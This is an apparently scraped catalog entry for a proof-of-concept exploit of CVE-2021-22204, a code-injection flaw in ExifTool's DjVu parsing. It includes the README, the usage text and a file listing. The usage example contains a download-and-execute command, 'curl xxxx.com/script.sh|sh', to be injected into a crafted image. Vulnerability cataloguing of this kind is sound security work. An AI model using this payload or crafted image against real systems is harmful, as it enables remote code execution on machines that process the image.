CVE-2021-22204 PoC — exiftool 代码注入漏洞

Source

https://github.com/bilkoh/POC-CVE-2021-22204

Associated Vulnerability

Title:exiftool 代码注入漏洞 (CVE-2021-22204)
Description:Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and up allows arbitrary code execution when parsing the malicious image

Description

POC for exiftool vuln (CVE-2021-22204).

Readme

# POC-CVE-2021-22204

https://nvd.nist.gov/vuln/detail/CVE-2021-22204

This is just a convenience script I wrote for testing.

## Output
~~~Shell
Usage ./build_image.pl <cmd to inject>
        Note: if your cmd contains unix special characters use quote!
        EG: ./build_image.pl "curl xxxx.com/script.sh|sh"
This poc generates an image file (notevil.jpg) to be proccessed by vulnerable exiftool.
And requires DjVuLibre to be installed and in PATH
         See: http://djvu.sourceforge.net/
---

[+] Preparing annotation file.
[+] Creating image file with: djvumake notevil.jpg INFO=0,0 BGjp=/dev/null ANTa=ant.out
[+] notevil.jpg created.
~~~

File Snapshot


 [4.0K]  /data/pocs/71103843fd156a3548c57ee1c6c02602802a6eb3
├── [1.2K]  build_image.pl
└── [ 648]  README.md

0 directories, 2 files

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